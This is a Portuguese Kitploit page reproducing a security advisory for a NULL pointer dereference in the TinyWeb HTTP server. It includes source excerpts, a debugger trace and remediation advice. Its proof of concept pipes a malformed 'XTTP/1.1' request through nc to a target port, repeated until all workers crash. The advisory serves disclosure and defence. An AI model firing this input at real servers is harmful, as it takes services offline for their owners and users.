Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-67184-Unauthenticated-NULL-Pointer-Dereference-Crashes-the-Server-TinyWeb- — Aviso de Segurança: Desreferência de ponteiro NULL não autenticada derruba o servidor (TinyWeb) | Kitploit
Ferramentas/GitHubGitHub/theopaid/cve-2026-67184-unauthenticated-null-pointer-dereference-crashes-the-server-tinyweb-
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e Educação
GitHubtheopaid/cve-2026-67184-unauthenticated-null-pointer-dereference-crashes-the-server-tinyweb-

CVE-2026-67184-Unauthenticated-NULL-Pointer-Dereference-Crashes-the-Server-TinyWeb-

Aviso de Segurança: Desreferência de ponteiro NULL não autenticada derruba o servidor (TinyWeb)

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 22 diasAinda não revisado

Aviso de Segurança: Desreferência de ponteiro nulo sem autenticação derruba o servidor (TinyWeb)

ID de CVE atribuído: CVE-2026-67184

Resumo

Quando o TinyWeb falha ao analisar uma linha de requisição, ele retorna um erro, mas deixa o ponteiro de URL da requisição definido como NULL. O chamador ignora o erro e passa a requisição para o construtor de resposta, que desreferencia esse ponteiro NULL e derruba o worker. Algumas requisições malformadas derrubam todo o servidor, e ele não se recupera.

Software afetado

  • Projeto: TinyWeb (https://github.com/GeneralSandman/TinyWeb)
  • Versão informada pelo build: TnyWeb/0.0.8
  • Commits afetados: de e48f15d (2018-11-20), onde este parser e o caminho de resposta foram introduzidos, até a381da2 (2023-11-22, o mais recente em master).
  • Versão corrigida: nenhuma.

Classificação

  • CWE-476: Desreferência de Ponteiro Nulo
  • Pontuação base CVSS 4.0: 8.7 (Alta)
  • Vetor: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Modelo de ameaça

Um atacante remoto não autenticado que possa alcançar a porta TCP de escuta do servidor (9090 na configuração fornecida). Nenhuma credencial ou interação do usuário é necessária.

Detalhes técnicos

HttpParser::execute() aloca o objeto URL somente depois que a linha de requisição é analisada com sucesso. Uma versão HTTP malformada faz a verificação de versão falhar e saltar para o rótulo de erro, que retorna -1 antes que a alocação seja executada:

root@kitploit:~
// src/tiny_http/http_parser.cc:1401  (the "H" of "HTTP" is expected here)
checkOrGoError((ch == 'H'));         // false -> goto error

// src/tiny_http/http_parser.cc:1692  (skipped by the goto above)
request->url = new Url;

// src/tiny_http/http_parser.cc:1750-1753
error:
    LOG(Debug) << "http request content is invalid\n";
    return -1;

O HttpRequest é criado com std::make_shared<HttpRequest>(), que o inicializa por valor; portanto, url permanece NULL quando a alocação é ignorada.

WebProtocol::dataReceived() registra o valor de retorno, mas mesmo assim chama buildResponse():

root@kitploit:~
// src/tiny_http/http_protocol.cc:57-61
valid = m_nParser.execute(data.c_str(), begin, data.size(), m_pRequest.get());
valid_requ = (valid == -1) ? false : true;

// src/tiny_http/http_protocol.cc:75
m_nResponser.buildResponse(m_pRequest.get(), valid_requ, m_pResponse.get());

buildResponse() recebe valid_requ == false, mas nunca o verifica e desreferencia o ponteiro de URL NULL:

root@kitploit:~
// src/tiny_http/http_responser.cc:66
Url* url = req->url;              // NULL

// src/tiny_http/http_responser.cc:83
if (url->field_set & (1 << HTTP_UF_PATH)) {   // SIGSEGV

O processo worker é derrubado nesse acesso. Ele não é reiniciado em um estado operacional; portanto, uma vez que os workers caem, o servidor para de responder.

Prova de conceito

  1. Inicie o servidor com a configuração fornecida (escutando na porta 9090).

  2. Confirme que ele responde a uma requisição normal:

root@kitploit:~
curl http://TARGET:9090/
  1. Envie uma requisição cujo token de versão esteja malformado. XTTP/1.1 falha na verificação de versão depois que a linha de requisição já assumiu o modo de requisição:
root@kitploit:~
printf 'GET / XTTP/1.1\r\n\r\n' | nc TARGET 9090
  1. Repita o passo 3 algumas vezes para esgotar o pool de workers e, em seguida, tente novamente a requisição normal do passo 2. Agora ela expira sem resposta, porque todos os workers caíram.

Um depurador anexado a um worker mostra a queda na desreferência de NULL:

root@kitploit:~
#0 HttpBuilder::buildResponse (valid_requ=false) at src/tiny_http/http_responser.cc:83
#1 WebProtocol::dataReceived (data="GET / XTTP/1.1\r\n...") at src/tiny_http/http_protocol.cc:75

Impacto

Um atacante não autenticado pode derrubar os workers do servidor com algumas requisições curtas e manter o serviço offline reenviando-as. Isso é uma negação de serviço.

Remediação

Em dataReceived(), quando valid_requ for false, construa uma resposta de erro e retorne em vez de chamar buildResponse(). Em buildResponse(), verifique se req->url é NULL antes de usá-lo. Alocar o objeto URL antes que o parse possa falhar também fecharia a lacuna.

Baixar ferramenta